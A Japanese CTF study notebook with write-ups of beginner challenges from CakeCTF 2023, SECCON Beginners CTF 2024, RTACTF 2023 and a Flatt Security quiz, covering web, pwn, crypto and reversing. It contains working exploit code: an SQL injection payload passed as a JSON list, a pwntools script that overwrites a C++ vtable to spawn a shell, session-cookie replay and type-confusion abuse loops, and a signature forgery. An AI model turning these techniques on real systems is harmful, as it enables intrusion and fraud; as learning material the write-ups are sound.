Open19

CTFメモ

ピン留めされたアイテム
ikdikd

初心者向けの warmup 問題を解けるようにしていく。

ikdikd

CakeCTF 2023 Country DB

問題:https://2023.cakectf.com/tasks/3071001493/

国コードから国名を検索してくれるウェブサービス。

ソースコードが配布されているので見てみましょう。init_db.py では DB にデータを投入しています。

country テーブルは国名検索のためのテーブルでしょう。お隣の flag テーブル flag カラムにフラグを入れていますのでをこれを取り出せば正解を得られます。SQL インジェクションを成立させるのでしょうか?

init_db.py
init_db.py
import sqlite3
import os

FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

# Country list from https://gist.github.com/vxnick/380904
countries = [
    ('AF', 'Afghanistan'),
    ('AX', 'Aland Islands'),
    # ...
    ('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)

conn.commit()
conn.close()

※ 配布されたソースコード内ではフラグはダミーの値であることに注意しましょう

クライアント側のコードを見ていきます。/api/search というエンドポイントにリクエストをしているようです。body には {"code": "CA"} こういうデータを詰めているのですね。

templates/index.html
templates/index.html
// ...

function queryCountryCode() {
  let code = document.getElementById("code").value;
  fetch('/api/search', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({code})
  }).then(response => {
    if (response.status !== 200) {
      setText("Country code is not found");
      throw new Error(response.statusText);
    } else {
      return response.json();
    }
  }).then(data => {
    setText(getFlagEmoji(code) + " " + data.name);
  }).catch(err => {})
}

サーバー側のコードを見ていきます。Flask はよく知りませんが api_search() がリクエストを受けてくれるのでしょう。

おっと、db_search() ではプレースホルダーを使わずに f-strings でクエリを組み立てています。SQL インジェクションの気配がしてきます。たとえば code にシングルクォート ' を含めて SELECT name FROM country WHERE code=UPPER('XXX') AND FALSE UNION SELECT 123 のようなクエリを実行させられるとうれしいです。

app.py
app.py
# ...

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

しかし db_search() の前段にこういうガードが入っているので少し迂回する必要がありそうです。

    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

code は文字列かのように読んでいましたが Python の len() 関数には、文字列以外にもリストや dict も渡せます。タプルや set でもよいのですが JSON にはタプルや set が存在しないので考えなくてよいでしょう。

とりあえず code をリスト型だとしましょう。条件 len(code) != 2 は要素をふたつ持つリストにすればすり抜けられます。また "'" in code

  • code = ["'", "xyz"] のとき True
  • ですが code = ["ab ' c", "xyz"] では False

になります。

そして、リスト型の code = ["ab ' c", "xyz"] を文字列にするとこうなります。

code = ["ab ' c", "xyz"]
print(f"code='{code}'")
# -> code='["ab ' c", 'xyz']'

シングルクォート ' とダブルクォート " がややこしいですが、最終的に実行させたいクエリは flag テーブルを SELECT する、こういう形であることを思い出しましょう。

SELECT name FROM country WHERE code=UPPER('▲▲▲') AND FALSE UNION SELECT flag FROM flag -- ◆◆◆

たとえばブラウザのコンソールから次のようなリクエストを送って、フラグを得ることができます。

code = ["abc') AND FALSE UNION SELECT flag FROM flag --", "xyz"]
await fetch('/api/search', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({code})
}).then(resp => resp.json());
// -> {name: 'CakeCTF{...}'}

感想

直前に解いた、TSG CTF 2023 Upside-down cake と似てるなーと思いました。

ikdikd

CakeCTF 2023 vtable4b

問題:https://2023.cakectf.com/tasks/1918350021/

指示されたとおりに nc vtable4b.2023.cakectf.com 9000 を打つと次のように表示されました。学習用の問題でしょうか。vtable とは何者なのか分かりませんが見ていきましょう。

Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

 2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x565390dbb61a

1. Use cowsay
2. Change message
3. Display heap
> 

「2. Change message」を実行して "hello_world" と送ってみます。続けて「1. Use cowsay」とすると牛のアスキーアートが表れました。

1. Use cowsay
[+] You're trying to use vtable at 0x565390dbece8
 _______________________
< hello_world           >
 -----------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

「3. Display heap」は現在のヒープの状態を描いてくれるようです。なんて親切なのでしょう。

3. Display heap
  [ address ]    [ heap data ]
               +------------------+
0x565391972ea0 | 0000000000000000 |
               +------------------+
0x565391972ea8 | 0000000000000021 |
               +------------------+
0x565391972eb0 | 6f775f6f6c6c6568 | <-- message (= 'hello_world')
               +------------------+
0x565391972eb8 | 0000000000646c72 |
               +------------------+
0x565391972ec0 | 0000000000000000 |
               +------------------+
0x565391972ec8 | 0000000000000021 |
               +------------------+
0x565391972ed0 | 0000565390dbece8 | ---------------> vtable for Cowsay
               +------------------+                 +------------------+
0x565391972ed8 | 0000565391972eb0 |  0x565390dbece8 | 0000565390dbb6e2 |
               +------------------+                 +------------------+
0x565391972ee0 | 0000000000000000 |                 --> Cowsay::dialogue
               +------------------+
0x565391972ee8 | 000000000000f121 |
               +------------------+

どうやら、この問題は「2. Change message」から変なメッセージを入れて、Cowsay::dialogue の呼び出しを 0x565390dbb61a にある win 関数の呼び出しにすり替えてあげるとよいみたいですね。

色々試してみると message に長さの制限は実質なくて、message の先頭アドレス 0x565391972eb0 以降を好きにいじれることが分かります。あとで使えそうなので覚えておきます。

ヒープの表を見たところ、4バイト先の 0x565391972ed0Cowsay の vtable アドレス 0000565390dbece8 が入っていて、その先に Cowsay::dialogue のアドレス 0000565390dbb6e2 があるようです。関係図を描いてみました。

矢印の辿りつく先を win にできればよいわけです。たとえば message のあったアドレスを vtable の場所と偽ってそこに win のアドレスを書き込んであげましょう。

解答例です。最終的にシェルを取れて、ルートディレクトリにあるフラグのファイルを見られます。

# python 3.11

import pwn


def reverse_(s):
    assert len(s) == 14
    b = b""
    for i in range(len(s), 2, -2):
        b += int(s[i - 2 : i], 16).to_bytes()
    return b


assert reverse_(b"0x121314151617") == b"\x17\x16\x15\x14\x13\x12"


conn = pwn.remote(host="vtable4b.2023.cakectf.com", port=9000)

# 冒頭は読み飛ばす
conn.recvuntil(b"<win> = ")
win_function_address = conn.recvline().rstrip()

conn.recvuntil(b"1. Use cowsay\n")
conn.recvuntil(b"2. Change message\n")
conn.recvuntil(b"3. Display heap\n")
conn.recvuntil(b"> ")

conn.sendline(b"3")
v_table_address = conn.recvuntil(
    b" | 0000000000000000 | <-- message (= '')\n", drop=True
).splitlines()[-1] 

conn.recvuntil(b"1. Use cowsay\n")
conn.recvuntil(b"2. Change message\n")
conn.recvuntil(b"3. Display heap\n")
conn.recvuntil(b"> ")

conn.sendline(b"2")
conn.recvuntil(b"Message: ")
conn.send(reverse_(win_function_address) + b"\x00\x00")
conn.send(b"D" * 8)  # 適当なデータで埋める
conn.send(b"D" * 8)
conn.send(b"D" * 8)
conn.send(reverse_(v_table_address) + b"\x00\x00")
conn.sendline()

conn.interactive()
# 1. Use cowsay を使うと win 関数が呼ばれてシェルをとれる
ikdikd

CakeCTF 2023 TOWFL

問題:https://2023.cakectf.com/tasks/1431868103/

4択を10問×10セットすべて正解するとフラグが手に入るウェブサービスです。

エンドポイント /api/score を叩くと正解数を教えてくれるので、1問ずつ正解数を増やすことを考えましょう。しかし、/api/score では flask.session.clear() を実行するようになっており、一度正解数を知るとはじめからやり直しで「正解」の選択肢はリセットされてしまいます。

api_score
app.py
# ...

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}

どのエンドポイントでも flask.session をしつこくチェックしているのが目につきます。「Flask セッション」などで検索してみます。どうやら Flask では「session」という名前のクッキーにデータを保存しているようです。

実際にブラウザの開発者ツールを覗くとクッキーの値 .abcdef.ijklmn.uvwxyz が分かります。/api/score を叩いたあとにこの値を「session」クッキーに戻してあげると、何度でも正解数を得られます。

回答を送信して正解数を知る一連の手順は配布された JavaScript コードを真似しましょう。/api/submit → /api/score の順にリクエストを送ることになっています。

submitAnswers
script.js
// ...

/* Submit answers and get the score */
async function submitAnswers() {
    // Submit answers
    let res = await fetch('/api/submit', {
        method: 'POST', credentials: 'include',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(submission)
    });
    if (!res.ok) { alert("Server error"); return; }
    let json = await res.json();
    if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }

    // Get score
    res = await fetch('/api/score', {
        method: 'GET', credentials: 'include',
    });
    if (!res.ok) { alert("Server error"); return; }
    json = await res.json();
    if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }

    // Display score
    document.getElementById('exam').hidden = true;
    document.getElementById('score-value').innerText = `${json.data.score}`;
    document.getElementById('flag').innerText = json.data.flag;
    document.getElementById('score').hidden = false;
}

解答例です。1秒のスリープを入れたとしても最大400秒ほど待つとフラグを得られます。

const flask_session = ".abcdef.ijklmn.uvwxyz";
submission = [];
for (let i = 0; i < 10; i++) {
  submission[i] = [];
  for (let j = 0; j < 10; j++) {
    submission[i][j] = null;
  }
}
for (let i = 0; i < 10; i++) {
  for (let j = 0; j < 10; j++) {
    const current_score = i * 10 + j;
    for (let k = 0; k < 4; k++) {
      submission[i][j] = k;
      await fetch("/api/submit", {
        method: "POST",
        credentials: "include",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify(submission),
      });
      const score = await fetch("/api/score", {
        method: "GET",
        credentials: "include",
      }).then((resp) =>
        resp.json()
      ).then((json) => 
        json.data.score
      );
      console.log(`i = ${i}, j = ${j}, k = ${k}, score = ${score}`);
      await new Promise((resolve) => setTimeout(resolve, 1000));
      document.cookie = `session=${flask_session}`;
      if (score == current_score + 1) {
        break;
      }
    }
  }
}
const flag = await fetch("/api/score", { method: "GET", credentials: "include" }).then((resp) => resp.json()).then((json) => json.data.flag);
ikdikd

CakeCTF 2023 simple signature

問題:https://2023.cakectf.com/tasks/906792207/

配布されたコードを読むと

  • g = 2
  • m, w, v
  • 素数 p

が与えられたときに g^m \equiv s^w t^{-v} \pmod{p} を満たす s, t を一組求めればよいとわかります。

server.py
server.py
import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal


flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")

p = getStrongPrime(512)
g = 2


def keygen():
    while True:
        x = getRandomRange(2, p - 1)
        y = getRandomRange(2, p - 1)
        w = getRandomRange(2, p - 1)

        v = w * y % (p - 1)
        if GCD(v, p - 1) != 1:
            continue
        u = (w * x - 1) * inverse(v, p - 1) % (p - 1)
        return (x, y, u), (w, v)


def sign(m, key):
    x, y, u = key
    r = getRandomRange(2, p - 1)

    return pow(g, x * m + r * y, p), pow(g, u * m + r, p)


def verify(m, sig, key):
    w, v = key
    s, t = sig

    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p


def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


if __name__ == "__main__":
    magic_word = "cake_does_not_eat_cat"
    skey, vkey = keygen()

    print(f"p = {p}")
    print(f"g = {g}")
    print(f"vkey = {vkey}")

    signal.alarm(1000)

    while True:
        choice = input("[S]ign, [V]erify: ").strip()
        if choice == "S":
            message = input("message: ").strip()
            assert message != magic_word

            sig = sign(h(message), skey)
            print(f"(s, t) = {sig}")

        elif choice == "V":
            message = input("message: ").strip()
            s = int(input("s: ").strip())
            t = int(input("t: ").strip())

            assert 2 <= s < p
            assert 2 <= t < p

            if not verify(h(message), (s, t), vkey):
                print("invalid signature")
                continue

            print("verified")
            if message == magic_word:
                print(f"flag = {flag}")
                sys.exit(0)

        else:
            break

なんでもよいと思うのですが底を揃えて

  • s = g^{\clubsuit}
  • t = g^{\spadesuit}

の形で考えてみましょう。とくに t = g としてみます。

このとき s \equiv g^{(m + v) / w} が条件を満たします。実際、指数の計算で wv が消えてくれます。

s^w t^{-v} \equiv (g^{(m + v) / w})^w g^{-v} \equiv g^m

指数の w^{-1} はフェルマーの小定理を考えて \bmod \ p ではなく \bmod \ p - 1 の値にすることに注意しましょう。

解答例です。

import pwn
from hashlib import sha512
from Crypto.Util.number import inverse


# server.py からコピー
def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


magic_word = "cake_does_not_eat_cat"

s = pow(g, (h(magic_word) + v) * inverse(w, p - 1), p)
t = g

conn.recvuntil(b"[S]ign, [V]erify: ")
conn.sendline(b"V")
conn.recvuntil(b"message: ")
conn.sendline(magic_word.encode())
conn.recvuntil(b"s: ")
conn.sendline(str(s).encode())
conn.recvuntil(b"t: ")
conn.sendline(str(t).encode())
conn.recvuntil(b"verified\n")
flag = conn.recvline()

print(flag)
ikdikd

Flatt Security Developers' Quiz #7

問題:https://twitter.com/flatt_security/status/1757721356811096510

ユーザーの銀行口座残高を管理するWebサービス。ユーザー間で送金ができる。

ユーザー登録 /register では残高を 10 で初期化しています。

残高照会 /user/:userId をして残高が 5000000000000000 を超えていればフラグを得られるようです。

index.js
app.post('/register', (req) => {
  const id = randomBytes(10).toString('hex') + '-' + req.body.username;
  return users[id] = { id, balance: 10 };
});

app.get('/user/:userId', (req, res) => {
  const user = users[req.params.userId];
  if (!user) return res.code(404).send({ error: 'User not found' });
  if (user.balance > FIVE_THOUSAND_CHOU_YEN) user.secret = FLAG;
  return user;
});

app.post('/transfer', (req, res) => {
  const { fromID, toID } = req.body;
  if (fromID.length < 21 || toID.length < 21)
    return res.code(400).send({ error: 'Invalid request' });

  const from = users[fromID];
  const to = users[toID];
  const amount = parseInt(req.body.amount);
  if (!(from && to && 0 < amount && amount <= from.balance))
    return res.code(400).send({ error: 'Invalid request' });

  to.balance += amount;
  const toName = toID.split('-')[1];
  from.balance -= amount;
  const fromName = fromID.split('-')[1];

  return {
    receipt: `${fromName} -> ${toName} (${amount})`
  };
});

送金 /transfer の処理でなにか悪いことをできないか考えましょう。

(★) to.balance += amount; のみ実行されて from.balance -= amount; が実行されないとうれしいです。自身に送金することで残高が 2 倍になるからです。初期値 10 から始めても 50 回程度くり返せば 5000000000000000 を超えられます。

to.balance += amount;
const toName = toID.split('-')[1];
from.balance -= amount;
const fromName = fromID.split('-')[1];

コードの中で fromID, toID は文字列を期待していますが、とくに型の検証などはしていないので、JSON で表せる配列も入れられます。

users[fromID]users[toID] の部分ではおそらく Array.toString() が呼ばれるのでしょう。配列 ['a', 'b', 'c']toString() をするとカンマ区切りで a,b,c になりました。

ユーザー登録 /register でユーザー ID は const id = randomBytes(10).toString('hex') + '-' + req.body.username; と作っているので、username をカンマ区切りにすると色々うまくいくことが分かります。/transfer における if (fromID.length < 21 || toID.length < 21) のガードをすり抜けるためにカンマを 20 以上含めるようにしましょう。

const { fromID, toID } = req.body;
if (fromID.length < 21 || toID.length < 21)
  return res.code(400).send({ error: 'Invalid request' });

const from = users[fromID];
const to = users[toID];

いま、toID は (文字列ではなく) 配列なので、残高を増やした直後の const toName = toID.split('-')[1]; の時点で「toID.split is not a function」のエラーが出ます。これで最初の目的 (★) を達成できます。

解答例です。

const username = "a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u";
const id = await fetch(
    "/register",
    {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ username }),
    },
).then((resp) => resp.json()).then((data) => data.id);
// id = [random]-a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u

const fromID = id.split(",");
for (let i = 0; i < 50; i++) {
    // sleep
    await new Promise((resolve) => setTimeout(resolve, 1000));
    console.log("i:", i);
    const amount = Math.pow(2, i) * 10;
    const data = await fetch(
        "/transfer",
        {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({ fromID, toID: fromID, amount })
        }
    ).then(resp => resp.json());
    console.log({
        statusCode: data.statusCode, // 500
        message: data.message, // 'toID.split is not a function'
    });
}

const data = await fetch(
    `/user/${id}`,
    {
        method: "GET"
    }
).then((resp) => resp.json());

console.log(data); // { balance: 11258999068426240, secret: '...' }
ikdikd

SECCON Beginners CTF 2024 Safe Prime

RSA 暗号での p, q を

  • p: ランダム
  • q = 2 * p + 1

と選んでいる。

chall.py
import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

n = p * q = p * (2 * p + 1) で n は与えられているので p の2次方程式。SageMath に投げると解ける。

p = var('p')
solve([p * (p * 2 + 1) == 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291], p)

p, q が分かったので平文 m を復号できる。

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = p * 2 + 1

assert p * q == n

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(m.to_bytes(61, 'big'))
ikdikd

SECCON Beginners CTF 2024 cha-ll-enge

LLVM の IR っぽいコード

cha.ll.enge
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca [70 x i8], align 16
  %3 = alloca [50 x i32], align 16
  %4 = alloca i32, align 4
  %5 = alloca i32, align 4
  %6 = alloca i64, align 8
  store i32 0, i32* %1, align 4
  %7 = bitcast [50 x i32]* %3 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
  %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
  %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
  %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %12 = call i64 @strlen(i8* noundef %11) #4
  %13 = icmp eq i64 %12, 49
  br i1 %13, label %14, label %48

14:                                               ; preds = %0
  store i32 0, i32* %4, align 4
  store i32 0, i32* %5, align 4
  store i64 0, i64* %6, align 8
  br label %15

15:                                               ; preds = %38, %14
  %16 = load i64, i64* %6, align 8
  %17 = icmp ult i64 %16, 49
  br i1 %17, label %18, label %41

18:                                               ; preds = %15
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
  %21 = load i8, i8* %20, align 1
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
  %25 = load i32, i32* %24, align 4
  %26 = xor i32 %22, %25
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4
  %31 = xor i32 %26, %30
  store i32 %31, i32* %5, align 4
  %32 = load i32, i32* %5, align 4
  %33 = icmp eq i32 %32, 0
  br i1 %33, label %34, label %37

34:                                               ; preds = %18
  %35 = load i32, i32* %4, align 4
  %36 = add nsw i32 %35, 1
  store i32 %36, i32* %4, align 4
  br label %37

37:                                               ; preds = %34, %18
  br label %38

38:                                               ; preds = %37
  %39 = load i64, i64* %6, align 8
  %40 = add i64 %39, 1
  store i64 %40, i64* %6, align 8
  br label %15, !llvm.loop !6

41:                                               ; preds = %15
  %42 = load i32, i32* %4, align 4
  %43 = icmp eq i32 %42, 49
  br i1 %43, label %44, label %47

44:                                               ; preds = %41
  %45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)
  store i32 0, i32* %1, align 4
  br label %50

47:                                               ; preds = %41
  br label %48

48:                                               ; preds = %47, %0
  %49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
  store i32 1, i32* %1, align 4
  br label %50

50:                                               ; preds = %48, %44
  %51 = load i32, i32* %1, align 4
  ret i32 %51
}

https://llvm.org/docs/LangRef.html をもとに読むと、入力した文字列がフラグと一致するかを判定するプログラムと分かる。

このあたり

  • %26 = xor i32 %22, %25
  • %31 = xor i32 %26, %30
  • %33 = icmp eq i32 %32, 0

から、一行目の配列 key の隣接項の xor key[i] ^ key[i + 1] がフラグになると予想して、実際に正解を得られた。

key = "[i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7]"
key = eval(key.replace("i32", ""))
for i in range(len(key) - 1):
    print(chr(key[i] ^ key[i + 1]), end="")
ikdikd

SECCON Beginners CTF 2024 getRank

score を送信して 10^255 以上だったらフラグを得られる。

ただし

  • score の長さ ≦ 300
  • score > 10^255 だと score ÷ 10^100 に減らされる
main.ts
import fastify, { FastifyRequest } from "fastify";
import fs from "fs";

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

type Res = {
  rank: number;
  message: string;
};

function ranking(score: number): Res {
  const getRank = (score: number) => {
    const rank = RANKING.findIndex((r) => score > r);
    return rank === -1 ? RANKING.length + 1 : rank + 1;
  };

  const rank = getRank(score);
  if (rank === 1) {
    return {
      rank,
      message: process.env.FLAG || "fake{fake_flag}",
    };
  } else {
    return {
      rank,
      message: `You got rank ${rank}!`,
    };
  }
}

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

const server = fastify();

server.get("/", (_, res) => {
  res.type("text/html").send(fs.readFileSync("public/index.html"));
});

server.post(
  "/",
  async (req: FastifyRequest<{ Body: { input: string } }>, res) => {
    const { input } = req.body;
    const result = chall(input);
    res.type("application/json").send(result);
  }
);

server.listen(
  { host: "0.0.0.0", port: Number(process.env.PORT ?? 3000) },
  (err, address) => {
    if (err) {
      console.error(err);
      process.exit(1);
    }
    console.log(`Server listening at ${address}`);
  }
);

parseInt(score) の結果が 10^355 以上になればいい。

10進数より16進数のほうが少ない桁数で大きい数を表わせる。score として 0xFFF...F (300文字) を送ると十分だった。

score = "0x" + "F".repeat(298)
await fetch("/", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ input: `${score}` }),
})
.then(resp => resp.json());
ikdikd

RTACTF 2023 XOR-CBC

https://alpacahack.com/challenges/xor-cbc

chall.py
import os
import struct

FLAG = os.getenv("FLAG", "RTACTF{*** REDACTED ***}").encode()
assert FLAG.startswith(b"RTACTF{") and FLAG.endswith(b"}")

KEY_SIZE = 8
KEY = os.urandom(KEY_SIZE)

p64 = lambda x: struct.pack('<Q', x)
u64 = lambda x: struct.unpack('<Q', x)[0]

"""
XOR-CBC Explained:

     plain 0       plain 1       plain 2
        |             |             |
        v             v             v
IV --> XOR  +------> XOR  +------> XOR
        |   |         |   |         |
        v   |         v   |         v
key -> XOR  | key -> XOR  | key -> XOR
        |   |         |   |         |
        +---+         +---+         |
        |             |             |
        v             v             v
[IV] [cipher 0]    [cipher 1]    [cipher 2]
"""
def encrypt(plaintext, key):
    padlen = KEY_SIZE - (len(plaintext) % KEY_SIZE)
    plaintext += bytes([padlen] * padlen)

    iv = os.urandom(KEY_SIZE)
    ciphertext = iv
    for i in range(0, len(plaintext), KEY_SIZE):
        p_block = plaintext[i:i+KEY_SIZE]
        c_block = p64(u64(iv) ^ u64(p_block) ^ u64(key))
        ciphertext += c_block
        iv = c_block

    return ciphertext

def decrypt(ciphertext, key):
    iv, ciphertext = ciphertext[:KEY_SIZE], ciphertext[KEY_SIZE:]

    plaintext = b''
    for i in range(0, len(ciphertext), KEY_SIZE):
        c_block = ciphertext[i:i+KEY_SIZE]
        p_block = p64(u64(iv) ^ u64(c_block) ^ u64(key))
        plaintext += p_block
        iv = c_block

    return plaintext.rstrip(plaintext[-1:])

if __name__ == '__main__':
    ENC_FLAG = encrypt(FLAG, KEY)
    print("Encrypted:", ENC_FLAG.hex())
    assert decrypt(ENC_FLAG, KEY) == FLAG

平文を 8 バイトごとに区切って、次の 3 つの xor で暗号化している。

  • 平文 (の8バイト)
  • 初期化ベクトル IV
    • ループごとに更新
    • 固定

鍵 = 暗号文 xor IV xor 平文 が成り立つので右辺の 3 項を求めよう。暗号文と IV はすぐ分かる。

  • 暗号文
    • output.txt に書いてある
  • IV
    • 暗号文の先頭 8 バイトがそのまま IV

平文の先頭 7 バイトは RTACTF{ なので、8 バイトの鍵のうち先頭 7 バイトが決まる。最後の 1 バイトは 0 〜 255 を全通り試す。鍵が得られたので平文の全体を復号できる。

import struct

p64 = lambda x: struct.pack("<Q", x)
u64 = lambda x: struct.unpack("<Q", x)[0]

KEY_SIZE = 8


def decrypt(ciphertext, key):
    iv, ciphertext = ciphertext[:KEY_SIZE], ciphertext[KEY_SIZE:]

    plaintext = b""
    for i in range(0, len(ciphertext), KEY_SIZE):
        c_block = ciphertext[i : i + KEY_SIZE]
        p_block = p64(u64(iv) ^ u64(c_block) ^ u64(key))
        plaintext += p_block
        iv = c_block

    return plaintext.rstrip(plaintext[-1:])


enc_flag = bytes.fromhex(
    "6528337d61658047295cef0310f933eb681e424b524bcc294261bd471ca25bcd6f3217494b1ca7290c158d7369c168b3"
)

iv, cipher_text = enc_flag[:KEY_SIZE], enc_flag[KEY_SIZE:]
p_block = b"RTACTF{" + b"?"
c_block = cipher_text[:KEY_SIZE]
# c_block = p64(u64(iv) ^ u64(p_block) ^ u64(key))
key = p64(u64(iv) ^ u64(c_block) ^ u64(p_block))

for x in range(256):
    x = x.to_bytes(1)
    key = key[: KEY_SIZE - 1] + x

    dec_flag = decrypt(enc_flag, key)
    print(f"{x=}, {dec_flag=}")
ikdikd

RTACTF 2023 before-write

https://alpacahack.com/challenges/before-write

main.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

ssize_t getval(const char *msg) {
  char buf[0x20] = {};
  write(STDOUT_FILENO, msg, strlen(msg));
  read(STDIN_FILENO, buf, sizeof(buf)*0x20);
  return atoll(buf);
}

int main() {
  return getval("value: ");
}

